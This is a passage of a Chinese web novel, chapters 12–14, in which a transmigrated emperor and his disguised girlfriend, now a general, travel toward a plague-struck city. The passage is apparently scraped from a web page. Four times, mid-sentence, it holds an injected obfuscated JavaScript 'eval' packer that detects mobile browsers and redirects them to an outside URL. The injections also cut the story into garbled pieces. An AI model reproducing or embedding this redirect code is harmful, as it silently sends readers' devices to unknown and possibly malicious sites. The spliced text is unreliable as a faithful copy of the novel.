456在空中飞来飞去,使劲地拽着秦笙的被子,可惜没有实体根本拽不动。 【宿主!主系统说这个世界确实出了bug,穿书者不是一个人,而是三个人!】 秦笙垂死病中惊坐起:【三个?!】 456:【嗯嗯,但是确实只有我一个系统。】 秦笙:【那另外两个人是谁?】 456:【一个确实是大将军,但因为bug严重,无法看到灵魂本体。另一个捕捉不到目标,只能隐约看到是个女子,目前位置是在青州附近,但是主系统给我的追踪线越来越淡了,等你到她面前的时候我可能都看不出来是不是穿书者了。】 456:【还有还有!主系统说是因为这两个人与穿书事件联系紧密,才会出现这种bug。】 秦笙:【等等,你说另一个是女的?】 秦笙内心的语气雀跃,听得季桐勾了勾嘴角。 不过她已经开始有点习惯秦笙内心偶尔咋咋呼呼的样子了,怪可爱的。 456:【你又在想你的亲亲宝贝了吗?】 秦笙:【闭嘴。】 456:【那你准备怎么办嘛……】 秦笙:【睡吧,上完早朝我就要出宫。】 456:【去哪儿?】 秦笙:【青州。】 窗户突然从外面被打开,吓得秦笙在床上一激灵,正准备喊“来人”,就看见窗户外探出一个头来,硬生生把他喉头的话又咽进了肚子。 这人戴着太监帽,却难掩丰神俊朗,一脸笑意地看着他。 “季止邪?”秦笙眉毛挑得老高,“你这是?” 季桐怕再不提醒一下秦笙,这人就要死在外面了。 “皇上,微臣怕还有人行刺,特意扮做小太监为您守夜。” “嗯——多谢爱卿?” 季桐两手肘靠在窗户边上,缓缓地问道:“皇上,天快亮了,请容微臣一问,青州时疫之事,皇上打算如何?” “……” 456:【我靠!我怎么忘记这事儿了!不能去啊宿主!青州在闹时疫呢!】 秦笙:【我知道。】 秦笙:【就算呆在京城又如何,过些天还不是一样要蔓延过来,剧情里不都写的清清楚楚。】 456发出爆鸣:【守卫森严的皇宫禁地和青州时疫爆发源地那能一样吗!】 —— 豫温侯府。 听说宫里出了大事,竟然有人行刺,季海清和季鸿源急的团团转。 打探消息的人一波波忙得脚不沾地。 “你再说一遍,止邪他出门时还说了什么?”季海清问道。 雀明伏在地上,“侯爷他只说是有要事进宫面圣,并未提及具体事宜。” “二哥糊涂啊,就算要反,也不该是这个时候——”季鸿源在屋内踱步,“宫里消息压得紧,只说了行刺的人已经抓到,也不知是什么个情况。” 季海清上前安抚,“三弟别慌,止邪不是鲁莽之人,再者,还好我们兄弟这几日没有回自己府上住,有什么也很好照应,一切等到早朝就水落石出。” “若真是他该怎么办?早朝岂不是成了鸿门宴,去了等皇上清算我们季家吗?” “不会。”季海清笃定道:“朝堂势力盘根错节,大半都是我们季家的人,皇帝没有这个胆子才一天就敢清算。” 在所有人都忐忑不安的心情中,天光渐亮。 秋日阳光驱散了薄雾,一改之前雨天的清静,不仅城里摆摊的摊贩多了,连地面也变得干静整洁起来,叫卖声不绝于耳。 季海清和季鸿源顶着黑眼圈从马车中下来。 季止邪一夜未归,他俩就一夜未睡。 直到早朝的时候看到季止邪好端端地站在他们前面,季海清想从背后踹他一脚的心都有了。 “奉天承运皇帝制曰: 宵小之徒,罔顾君臣之义,竟敢谋逆犯上,阴图不轨。幸赖大将军忠勇果毅,明察秋毫,于昨夜识破奸谋,解朕饮食之毒,挫败行刺之恶,使宗庙无虞,黎庶免祸。此保驾之功,匡扶社稷之德,朕心甚慰,天下共钦。 今特颁恩赏,以彰殊勋: 赐丹书铁券,铭其功于上,传之子孙,永标忠烈。赏黄金五千斤,蜀锦千匹,御马十骏,以酬其劳。敕建“定难功臣阁”,绘大将军形貌于白玉石,万代瞻仰。 大将军秉赤心而安社稷,持刚正以肃朝纲。望卿永持此节,与朕共治四海,保我大汉江山永固,日月同辉。 布告中外,咸使闻知。 钦此!” 随着宣旨太监的宣读结束,两兄弟才算是心落到了实处。 真是没想到不仅清算没有等到,还等来了一堆嘉赏,只是这嘉赏听起来简直是已经赏无可赏,只有些金银珠宝和一座白玉雕像。 秦笙也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16134079|180149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是没有办法,不赏不合情谊,赏吧又没什么可升的地方了,总不能把皇位让了。 季家世代忠良,希望这个穿书的不要闹什么幺蛾子,只要肯友好相处,他不介意季家的权势地位高。 匆匆结束了早朝,秦笙赶回寝殿换衣服,摒退了所有宫人后开始动手退去这身明黄龙袍。 谁知季大将军也跟了上来。 “爱卿又有事?”秦笙已经换了一身浅碧色内衫,正准备换上常服。 铜镜前的秦笙眉目如画,一双杏眼微微有些上挑,鼻梁高挺却不过分刚硬,唇形饱满而红润,下巴处光滑无须。 说不像男子吧又确实有七分英气,说像男子吧又少了一丝阳刚。 就,还怪有味道的。 “皇上不用宫人伺候您更衣吗?”季桐毫不掩饰地看着他,修长白皙的身躯在窗外透进来的阳光中显得格外单薄,锁骨分明,腰肢纤细。 秦笙狐疑地看了她一眼,稍稍往后退了一步,“朕不喜欢人伺候。” “微臣替皇上更衣吧。”季桐嘴角微勾。 这人不是认不出她吗,那不得好好惩罚他一下。 “不用了。” 表面上秦笙波澜不惊。 实际上内心已经开始呐喊:【他在说些什么!!!】 456头顶冒了个爱心:【他也是穿书者的话,那应该是知道大部分剧情啦,说不定看过这本小说,当然是在攻略你啦~】 秦笙:【他又没有系统!他有毛病啊攻略我有什么好处?!】 【这不好吗?好好发展一下就是原剧情啦,而且一定会很配合你做任务呀,早点做完早点结束。】456头顶冒出了一个超级委屈的表情。 秦笙:【我说过了,任务我会酌情做,但我不会按原剧情走,更不会……】 456:【可是积分才能改写你们车祸的命运,大概是——我查查嗷,有了有了商城有写,是15积分一秒钟,你要想改写的话,就算反应再快起码也得五六秒时间才够吧。】 秦笙:【我知道。】 秦笙的内心声音变得渐渐暗沉下来,季桐只得打断了他们丰富的内心谈话。 “皇上肌肤如玉,真是有些像个……”季桐话到嘴边又咽了回去,特意留了个悬念。 秦笙冷了眉眼,轻笑一声,“像个什么?像个女子?” “微臣不敢。” 秦笙:【你猜错了,这个穿书者剧情不完善,不知道皇帝是女的,顶多是猜测。】 456:【为什么?】 秦笙:【如果真的完全了解剧情,有必要这么大费周章?这种男尊女卑的世界观里,只要揭露皇帝的性别,他就直接站在了道德制高点,完全可以以此要挟皇帝,为所欲为。】 秦笙:【你不要看他说了什么,而是要看他做了什么。】 456摇来摇去,头顶冒出一个大大的问号:【做了什么?】 秦笙:【凯旋回朝却没有大张旗鼓邀功,解决毒粥行刺之事却选择了廊下守夜。】 秦笙:【如果他知道皇帝是女的,他不会这么做。】 456表示不解:【为什么?】 秦笙:【这是……男人的劣根性。】 12. 第十二章 季桐认可他这套说辞。 可惜,她没有这种所谓的男人的劣根性。 秦笙硬生生顶着她的目光,穿戴好了常服,月白色的直??长衫外面套了一件靛蓝色的对襟外袍,虽然一身素雅但依然能看出银线泛着光,腰间又挂着质地温润的青玉佩。 一看就不是寻常人家的公子。 “皇上这身装扮可真是……” “怎么?不像普通文人?”秦笙在铜镜前看了看。 秦笙明白季止邪的言外之意,他现在这个长相,穿着龙袍尚有帝王威仪镇着,换上常服,确实是更加柔婉了。 他拿起梳妆台抽屉里的眉粉盒,拿笔轻轻描了了描眉,让原本修长但细淡的眉毛更加明显浓黑了些。 然后将发髻重新束了束。 季桐微微点头,现在好多了,像个出游玩乐的富家公子,除了一身贵气难以遮掩,再无不妥。 456从铜镜后飞出来,爬在秦笙肩上:【可是宿主,出宫的话魏姑姑那事怎么个说法呀?还没审完呢?现在出宫会不会有大变动?】 秦笙瞥了它一眼:【这事我心里有底,不是有人想让我死吗,那就让这人好好发挥一下,回来再说。】 两人出宫没人惊动任何人,只留下了王德海去通知太后等人,王德海连连应下的同时,哭丧着脸说:“那得叫赵统领带两个伸手最好的暗中保护皇上才行啊!” “有季大将军在。” “那也——啊?”王德海眨了眨眼,“哦哦,那大将军可一定要保护好皇上啊!” 王德海嘱咐的话儿说不完。 秦笙和季桐一路避开了人多的地方,但只要有心,就不可能没人发现皇帝出宫,这也是为什么要留王德海主动告知那些人的原因。 青州路途遥远,就算是驾着脚程快的马车也得两天。 456在马车里飞上飞下,好不新奇,季桐花了很大的心神才能控制住自己的眼睛不往它身上瞟。 “皇上这几日早朝该怎么办?”季桐随意地问道,“虽说早朝前便跟微臣说了要去青州,但微臣还是觉得不妥,不仅危险,不利于龙体,还可能耽误国事。” “朕——我已传书给丞相和你哥哥,他们知道该怎么做。”出了宫门,秦笙适时地改了口。 也是。大邑国力强盛,朝堂稳固,就算这个早朝他上三休四都问题不大。 车夫是季桐手底下的亲兵厉寡言,一路上驾车丝毫没有停歇。 路途颠簸下秦笙坐得有些不舒服,季桐从马车脚柜里拿出软垫,“秦公子,起来一下。” “谢谢。” 季桐回到左边坐下。 现在她身体好又皮糙肉厚的,马车颠簸的感觉几乎不影响她,可秦笙现在身娇体软的,肯定会不舒服,照顾他一下是应该的。 以前他也挺身娇的,季桐回想了一下,秦笙富二代出生,毕业后没有继承家业却当了画家,平常锻炼也都是花架子,为了腹肌好看罢了,是挺娇气的。 哦对了,穿书前那段时间好像他家里想让他继承家业来着。 不过那段时间他们之间关系比较冷淡,她也就没细问。 外面景色飞速倒退着,官道虽宽阔但还是草木繁盛,林间不时传出鸟鸣声,季桐缓慢放下了车帘。 “秦公子,恕我直言,这青州时疫之事,本不该您亲自去。”季桐虽然早知道秦笙其实是想去青州找那个穿书女,但表面功夫还是要做的。 秦笙点头:“我知道,但子民有难,我于心不安,总要查清了源头,好尽早清理。” “秦公子,果然是爱民如子。” “对了,听闻季公子在战场上受了箭伤,虽然此前已经吩咐人送了金疮药膏,可未曾问过,伤如今都好了吗?”秦笙有意试探。 “自然是都好了。” “那便好,伤筋动骨一百天,季公子要好好调养。” “是。” 456凑过来:【宿主你在打什么哑谜?】 秦笙:【这个世界是没有“伤筋动骨一百天”这种俗话的,你说得对,他确实是个穿书者。】 456立刻气鼓鼓起来:【宿主你一点都不信任我!】 秦笙:【你哪里值得我信任吗?】 456:【……不理你了。】 秦笙:【只是不知道,是哪里的人——】 456:【喂喂喂!!!宿主来任务了!让大将军脸红一次!奖励积分20点!比之前多10点!但是有时间限制,24小时之内哦~】 秦笙:【抱歉,这种事我做不到。】 456阴恻恻地问:【你不怕死吗?】 秦笙心底笑了一声:【如果不做任务就会死的话,你就不会那么紧张我之前的事了。】 456:【QAQ匿了。】 季桐听来听去,最后无语地笑了,原来不做任务会死这后果是假的。 不过,“之前的事”是指什么? 天渐渐深了。 外面夜莺啼鸣声更盛。 坐了几个时辰的马车,饶是季桐身强体健也有些颠的屁股受不了,秦笙更是看起来想吐了。 从未讲过话的厉寡言终于将马车“吁”地一声停了下来,他掀开马车前帘,“公子,天色已晚,不宜赶路,我看前方有一客栈,公子是否要停留休息?” 秦笙虚弱地点了点头。 季桐将他扶下了马车,“小心脚下。” “多谢季公子。”秦笙长舒了一口气,新鲜的空气,踏实的地面,让他活了过来。 果然古代就算连官道都没法跟现代的山路比,没有水泥路太可怕了。 客栈规模不大,又是这附近方圆十里唯一的客栈,普通客房早已被住满,但刚好还有两间上房空着。 秦笙一个人住一间,季桐和厉寡言住一间。 因为上房都只有一张床,厉寡言二话不说直接打了地铺。 店小二送来了些吃食茶水,又打了水过来,季桐洗漱完后直接躺上床休息了,她在马车上吃了很多糕点,根本不饿。 但刚要入睡,电流声又若有若无的响起。 这两间上房是挨着的,但床铺却是置于最远的那一方,上房的地方又宽敞,与秦笙的距离早就超过了五米。 天杀的,这辈子是睡不了个好觉了吗。 季桐翻了个身,将耳朵捂住,试图掩盖颅内电流声。 季桐忍了又忍,正要起床,却听到隔壁出现了些细碎的声音,是脚步声。 她耳力好,厉寡言却不知道是何事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137266|180149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从地铺上坐起身来,“公子,怎么了?” 季桐按下他的肩膀,“没事儿,你先睡吧,我出去一趟。” 季桐穿好中衣,直径前往隔壁屋。 推开门就看见秦笙有些猫着腰地望着窗户那块儿,手里还拽着一角被子。 “外面有人。”秦笙看到他跟看到救星一样,信誓凿凿地说:“我刚刚听到声音了。” 笑话,有没有人她能不知道?这么长时间的仗她可没白打。 季桐翻了个白眼:“没人,这一听就是老鼠。” 她一把打开窗户,只见一只肥硕的老鼠顺着窗户沿慌不择路地往屋里钻。 秦笙的脸色还是没好看多少。 “你怕老鼠啊?”季桐笑着问。 “我,我不怕。”秦笙眉头微皱,“我就是觉得老鼠恶心。” 好吧。 季桐一脚将老鼠踹飞三米远,“哐”地一声砸在木门板的门框上,再落下来时,那肥硕如猫的老鼠脚趾已经微微抽搐,没了声息。 “晦气。”季桐淡淡吐了句。 声音不大,却还是落进了秦笙的耳朵里。 好像。 秦笙想起来以前他跟季桐去小旅馆的时候,那时候季桐还把他当人体模特,把他约到小旅馆去,害他紧张了一整天,结果到了下午去旅馆时,只是让他洗干净再挂好布帛,好好坐在那儿。 还好有条布,不然就遮不住了。 那天他也遇到了老鼠,季桐穿着高跟鞋一脚就踩死了老鼠,说了声“晦气”。 那时他有想过帮忙收拾一下残局,可季桐让他洗澡,他几乎没有一丝犹豫,非常没有出息地去洗澡了。 他是北方人,北方的老鼠还没他拇指大,而且他除了小时候也没怎么见过,可南方的老鼠跑起路来竟然有脚步声,长得比他42码的皮鞋还大。 他实在是没见过那么大的老鼠,是真的有点心虚。 他再次出来的时候季桐已经叫旅馆老板退了钱,并谈好了换房间的事。 “喂!秦公子,想什么呢?” 季止邪的话将他的思绪拉回了现在。 秦笙摇了摇头,“没什么,你刚刚说什么。” 季桐没好气道:“我说,秦大公子,去隔壁睡,厉寡言他知道自己滚过来,我呢去找那老板理论一下。” “好。”秦笙目光晦暗。 真的好像。 456从小角落里跟着秦笙出了房间。 456:【吓死宝宝了,那么大的老鼠,跟猫一样。不过,嘿嘿大将军对你可真好啊!】 季桐没工夫去听他内心的小九九,快步下了楼,跟客栈老板说了老鼠的事。 等她再回到二楼时,发现秦笙还站在门口,没有去隔壁。 “秦公子,怎么还不去睡觉?”季桐想了想又道:“哦对了,别去二楼尽头的那边晃,老板说那间房住了个感染风寒的,如果是时疫就麻烦了。” 季桐回到房间,随手将老鼠丢出了窗外,关好了窗,再仔细洗了手,却见秦笙跟着他回到了这间房,还将门关上了。 季桐皱眉,“还有什么事吗?” “我是穿书者,你也是,对吗?”秦笙声音清冷,没有理会身后456发出的尖锐爆鸣。 13. 第十三章 一时间房间里的气氛有些凝滞。 谁也没有说话。 456:【宿主你疯了!!!】 秦笙:【我没疯。你说有没有可能,季止邪才是桐桐。】 456:【不可能!绝对不可能!就算是bug穿书者,性别都穿错了这种事是不可能发生的!你这里是因为我绑定错误才给你捏了原主的身体,这么离谱的事情不可能发生第二次,而且他们没有系统,怎么可能变啊!】 眼看秦笙渐渐冷静下来。 季桐组织着措辞,她可不想被秦笙发现,可她先前做出格的事情太多,是穿书者没跑了。 那就只能坐实穿书者这个身份,至于他女朋友?这个身份还是给那个青州的穿书小姐姐吧。 对不起,双手合十,小姐姐你先委屈一下。 “嗯。”季桐不紧不慢地回了声,做出一个颇有兴趣地表情,“你居然也是?怪不得。” “我是秦氏集团董事长的第三子,也是《征程荣耀》的特聘画师,如果你听过的话,应该知道我是谁。” “听过,秦笙秦三少嘛。”季桐挑眉,“不会这个世界的皇帝也叫秦笙吧?” “对。”秦笙和盘托出,“我有系统,我的任务是让大邑国泰民安,且十年间不起战火,男女主走完剧情我们就能回去,你呢?你是怎么到这里的?” “我在安河路执勤呢。”季桐找了个好理由,“谁知道水泥搅拌车滚过来没看见,看见的时候已经来不及了。” “最后两个问题,你为何要接近我,你知道剧情吗?”秦笙问。 “哎我也不太清楚,我妈说她最近在看这本小说,我就去找了简介瞟了一眼,还没看两章呢,关于背景里说的皇帝和大将军我都没搞懂,这两个怎么搞一起的,难道是gay吗?那怎么生的皇子?” 季桐滔滔不绝,“其实我就跟你想的差不多,反正我好好打外敌,国泰民安不就行了,男女主剧情过完就能回去了是吧。至于跟你套近乎就是想着,别搞我们季家,那功高震主被清算的事儿历史上太多了。” 秦笙心底叹了口气。 看来这个人是真的不知道皇帝是女的,之前的行为都只是试探而已。 至于身份是不是个真正在安河路执勤的人,一试便知。 是他太莽撞了,单单“晦气”两个字,谁都有可能会说的。 也是他魔怔了,看谁都像季桐,之前看了那么多秀女,还不够他清醒吗。 可他真的…… 456:【看吧,宿主,我就说不可能,还是尽快去青州看看那个穿书的女孩子吧,趁着我这里追踪线还没完全消散,不然到了青州我可真找不出来谁是穿书的了。】 秦笙没有理会它,朝季桐道:“我了解了,你说你是在安河路执勤出事的,那你是安河路的交警吗?” “哦,不是。”季桐搬出了她以前朋友的信息,“是当兵的,义务兵,马上就要退伍了。” 话语连续快速,没有经过思考,几乎不存在虚假信息的可能。 秦笙咬了咬后槽牙,咽下了这个事实。 也好。 起码都是穿书者,又是个为国效力的好人,他愿意相信对方的人品,能配合自己完成剧情就好。 “实不相瞒,我的系统需要我做一些任务,跟季大将军有关,如果你愿意帮我,我回去后会给你一张一百万的支票。”秦笙明确表达了自己的诉求和筹码,“如果不够,还可以再加,或者你需要其他的帮助我也都会竭尽所能帮助你。” “当然愿意。”季桐马上接话,“我听过秦氏集团的事儿,好多慈善机构都是秦氏办的,再说了,同为穿书的,帮你就是帮自己,应该的。” 互相通了气,气氛总算好起来,两人之间少了很多猜忌怀疑。 季桐拍了拍他的肩膀——心说,想跟我当好兄弟是吧。 那可有的玩了。 456飞着凑了上来:【嘿嘿太好了,任务,快说任务。】 秦笙:【今天就算了,刚认识就让别人帮忙不好,我想到了别的办法。】 456:【什么什么?】 秦笙:【不告诉你。】 —— 在经过询问之后季桐实打实地确定秦笙真的不嫌弃房间里死过老鼠,并且觉得换房间很麻烦,于是季桐又滚回了自己房间。 为了不听电流声,季桐将木架子床直接挪了个位置,跟秦笙只隔了一道墙。 这一夜是季桐穿书以来睡得最安稳的一夜。 没有时不时传来的电流,床铺松软舒适,从万里星云明月高照直到早晨听到公鸡打鸣的声音,一夜无梦。 清晨的草地带着秋日里特有的重露,用过早饭的三人修整好后又回到了马车上。 这次秦笙自己早早垫好了软垫,季桐则和厉寡言坐在外面一起驾车。 渐渐太阳越走越高,到了晌午,季桐拉了拉缰绳,掀开车帘,“秦公子,中午吃什么?百合糕还是牛肉方脯?还是甜酪鸭?” 出行前马车里塞了不少干粮,都是非常精致的宫廷点心,早上出客栈前又用食盒打包了一份鸭子。 “都拿出来吧,外头阳光正好,又依山傍水的,野炊如何?”秦笙朝外望了望,“我也坐累了。” “甚好。” 厉寡言将马车停好,缰绳栓在了附近的树上,季桐则进马车找了两张布拼在一起当桌布用。 等季桐在草地上坐好,却发现秦笙不知从哪里掏出来了两瓶好酒,季桐一闻就知道,是京城酒铺里最好的天霜露。 “秦公子什么时候藏的酒?我竟不知。”季桐接过一瓶。 “马车这么大,藏什么都有可能。” 季桐无语地笑了,“问牛答马。” 三人席地而坐。 秦笙一杯接一杯地敬她,“来,敬我们的相遇。” 季桐没说什么,一饮而尽。 “光我喝啊?你不喝?”季桐又斟了一杯,跟他碰了碰杯子。 “我酒量不好。”秦笙耸了耸肩,“季大将军多喝两杯怎么了?” 这四处无人,怎么称呼都不会有人听到,季桐靠近了他一些,“好好好,我喝,我喝还不行嘛,君要臣喝,臣不能不喝。” 厉寡言吃饱了饭,也喝了两杯,微醺着此刻正在一旁拿着树枝画圈。 季桐招呼了他一下,“寡言,你去马车上睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16145287|180149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会儿吧。” “大将军,这不合规矩。”厉寡言人如其名,真的话极少。 “让你去你就去。” “是。” 厉寡言起身行完礼转身就回了马车里。 “你把他支走干什么?”秦笙微微眯着眼,虽然只喝了一杯,却已经有些迷糊。 “让他早点休息一下,酒驾容易出事,扣12分的。” “……合理。”秦笙现在有些后悔了,原本他就酒量不好,谁知道系统改造后这副身体居然快接近一杯倒了。 456:【宿主,你到底在搞什么谜语?一直灌人家酒干什么?】 秦笙:【做任务啊。】 456:【???】 秦笙:【喝酒喝到脸红,也算脸红吧?】 456:【不是宿主你这样我怕判定不成功啊!】 秦笙:【你就说红没红吧。】 季桐听得忍不住笑了一声,然后又给自己倒满,一饮而尽。 “对了,你是哪儿的人?”秦笙问:“我是说现实。” “我老家银川的。”季桐答完,自顾自地又饮尽一杯,顺势问道:“秦公子现在当了皇帝,这不是天下所有男人的梦想吗?怎么还想回去?” 秦笙喉头里溢出一声笑,“当皇帝不是什么得意事,如果只是财和权,我本来就没有缺过。” 季桐认可地点头,“那也是,秦三少从小也没吃过苦吧。” “还是吃过的。” “对了,那你这去青州是要做什么任务吗?” “没有,是寻我的未婚妻。” “你还有未婚妻?”季桐瞪大了双眼,她怎么不知道。 “嗯,系统说除了我们,还有一个穿书者,是女孩子,我猜就是她,我们是一起出事的。”秦笙的目光看向远处的河流,未有聚焦,似乎是在回想些什么。 “哦,那祝你好运。”季桐又喝了一杯。 笑话,什么时候跟他订婚了,还搁那儿幻想上未婚妻了。 恬不知耻。 “皇上以后还是自称‘朕’吧,免得习惯了口误。” “嗯。” 两瓶酒全部喝完,季桐脸上才泛起了一丝红润,她假装喝醉了微微靠在秦笙的肩膀上。 秦笙想推开,却又感觉好像闻到了一丝熟悉的味道,树林间阳光穿透,洒了些细细的微光照在这人脸上。 秦笙偏头看向她,微微皱眉,却又找不出推开这人的理由。 456:【唉唉唉!完成了!20分到手!】 秦笙猛地推开肩膀上的人。 “咳。”秦笙目光心虚地移到马车处,“走了,加紧赶路吧。” 季桐被推得一个踉跄,差点跌坐到草地上,本还想讹他一下,谁知他跑得飞快,只得自己站起身来。 马蹄声响彻山间。 野外蚊虫多,叮得秦笙手背和脖子上好几个红点,路过小镇时季桐下去给他买了些清凉膏。 除此之外接下来的路程没有其他的琐事,马车一路飞奔到了青州外。 456急得白团子都快挤出了五官:【再快点啊!!!我的追踪线已经淡得要看不清了!】 14. 第十四章 厉寡言勒住缰绳,秦笙和季桐下了马车,望着远处灰蒙蒙的城墙,喉头不自觉地滚动了一下。风从北方吹来,带着一股若有若无的腐臭味。 官道旁有几处新翻的土堆,这些土堆排列得杂乱无章,上面胡乱插着几根木牌,有的连木牌都没有,这城外都快变成乱葬岗了。 一阵风吹过,掀起最边上土堆的一角草席,露出一只青紫色的脚踝。秦笙猛地别过脸去,胃里翻江倒海。 两天前离京时,秦笙记得早上除了褒奖了季大将军查毒有功一事,还有青州刺史的奏折上写着"时疫已得控制",可眼前这景象—— “公子,还进城吗?”厉寡言很想劝,但他没这个资格,只能再问上一句。 季桐皱着眉,目光瞟向秦笙。 这种情况,不用进去也知道是什么情况了,眼下就看秦笙到底要不要为了找穿书女进城了,如果非要进也行,她手底下还有一众影卫远远跟着,能派上用场。 秦笙看向456:【追踪线,还看得到吗?】 456晃了晃,又往城门处飞去,然后头上顶着个哭泣的表情:【看不到了,都怪你,要是路上再快点就不至于了。】 秦笙眸光微敛,没有答话,也不知道他在想什么。 季桐上前拍了拍他肩膀,“秦公子,回去吧,回去你还可以想办法控制住这时疫,若是你自己病倒了,可就麻烦了。” 季大将军说的很在理。他是皇帝,他活着才能有所作为,他死了天下大乱,青州短时间内无人管制,面临封城后更是只会变成死城一座。 秦笙长叹了一口气,缓缓地应道:“回去吧。” 是这个道理,如果那个穿书者真是季桐,他相信她一定知道疫情要少与外界接触,现在青州家家户户大门紧闭,456又没有追踪线了,他们进城也很难找到人。 回去的一路,气氛低沉。 马车的速度比之前更快。 仅仅两天一夜,也就是第二天夜里就到了宫门口,季桐与秦笙道别,回了豫温侯府。 豫温侯府的人从影卫那儿得了消息,老太太和季海清、季鸿源兄弟两人已经在前厅等着了,整个府上灯火通明。 “让母亲担忧了。”季桐上来就认错。 “哎哟,回来了就好,回来了就好。”老太太抹着泪,“你说你这,刚打完仗回来我都没瞅上几次,又被皇上叫出去当差。此去青州可见着桐桐表妹了?” “啊?”季桐愣了下神。 季海清上前岔开了话题,“好了好了母亲,止邪刚回来,舟车劳顿,就让他好好休息吧。” “是啊。”季鸿源拉着老太太,“母亲,你瞧,我们也在二哥府上住了许久了,得回自己府里了,母亲可要随我回去?” “多住住怎么了?”老太太嗔了他一眼,“兄弟间就该多走动走动。” “可是母亲,二哥很忙的,你看我府上就很清闲,你随我回去住,我让晴儿天天给你做蜜糕。” 老太太思索了一下,也很是想念三儿媳,只得道:“好吧好吧,明天就随你回去。” “那母亲先回去休息吧。”季鸿源扶着老太太,“儿子陪您回房去。”一边走一边偏头给了大哥一个眼神。 季海清点了点头。 眼见着老太太走远,季桐才问:“你们在打什么哑谜?” “时疫的事母亲不知道。”季海清叹着气说。 “不知道她还哭得一手抹眼泪。”季桐微微抬眉。 “正是如此,更不敢叫她知道。”季海清摇了摇头,“更别提表妹的事了,原本说青州那地方环境清雅又物质富庶,最适宜养病,才把表妹送过去养着,谁知竟出了时疫。” “是——‘季桐’?”她犹豫着问出口。 “是啊。”季海清安慰道:“不过你也别担心,早已经隔断静养了,想来是没有传染上,昨儿还有她寄来的书信。” 两人寒暄了几句家常,准备回去休息。 季海清又突然叫住她,“二弟,好好休息,这几天早朝都免掉了,有事皇帝会单独叫去会谈的,你若有什么事也是自己求见即可。” “为何?”季桐不解。 “宫里出了时疫,你说怪不怪。”季海清挑眉,“现在京城反而还算安全,只是宫里最先染上时疫的还是贵妃娘娘,想来皇上刚回宫听到消息一定急坏了。” “哦。”季桐莫名其妙地心被膈应了一下,“回去睡觉吧。” —— 勤政殿。 整个殿内气压极低,哪怕外面艳阳高照,在殿内服侍的宫人也大气都不敢喘。 秦笙又一把将折子拍在桌案上。 声响不大,却又让磨墨的宫人不禁打了个寒颤。 456飞来飞去,在秦笙肩膀上左锤锤右捶捶:【不要生气啦~不就是上班嘛。】 秦笙:【请安折子,又是请安折子,全是请安折子!如果这些人不请安,我会更安。】 秦笙在内心吐槽完,愤愤然勾了一笔“已阅”。 翠兰走进勤政殿,给旁边磨墨的宫人使了个眼色叫她下去,行礼道:“皇上,太后让您到永宁宫一趟。” “朕知道了。” 秦笙合上了折子。 永宁宫是保护的最好的宫室,至今没有一个人感染时疫,永宁宫底下干活的宫人也都没有裁员,难得的有人烟气。 太后吩咐了茶点,叫他坐下后,才把自己的心思说了出来:“皇帝近日来还是没有去过后宫,不合规矩——” “母后,说这话你心里要有数的。”秦笙抿了口茶,不咸不淡地打断了她的话。 太后眼见着脸色黑起来,满脸的不高兴,“那你可知道乐佑是怎么染上时疫的?” 秦笙抬眼看她,“怎么?难道不是宫人所报那样,安贵妃宫里出宫采买的宫人传染进来的?” “那你可知道这采买的宫人又是谁指到安贵妃宫里伺候的?”太后瞥了瞥他,有些恨铁不成钢。 “朕明白了。” “明白就好。”太后语重心长,“后宫的新人来了多久了,皇帝也该见一见,起码季家的就必须见,不然勤政阁那儿的请安折子会更多。” 秦笙怀着望天无门看地无语的心情回到了勤政阁。 安贵妃实在是无妄之灾。 但也正是因为安贵妃顶了盛宠这口黑锅才会被陷害。 于情于理,秦笙该去看一眼,但奈何感染的是时疫,青鸾宫早就被四处严加看守了起来。 秦笙只能传来锡太医问问情况。 “昨日你向朕请命,专职照顾安贵妃一人,安贵妃可还好?” “回皇上,微臣已经研制出了控制时疫的方子。”锡太医跪在地上,不敢起身,“只是,只是这方子……” “有话就说。” “是。”锡太医抬头道:“这方子微臣还尚未试过,暂且不敢给贵妃娘娘用药。” “那你要如何?” “可否让微臣拿青鸾宫得了时疫的宫人试药?”锡太医又行了个礼,“皇上请放心!此药微臣把握很大,试药时间也很短,绝不会让贵妃娘娘陷入险境。” “可以。”秦笙点头,“她人现在怎么样?” “回皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 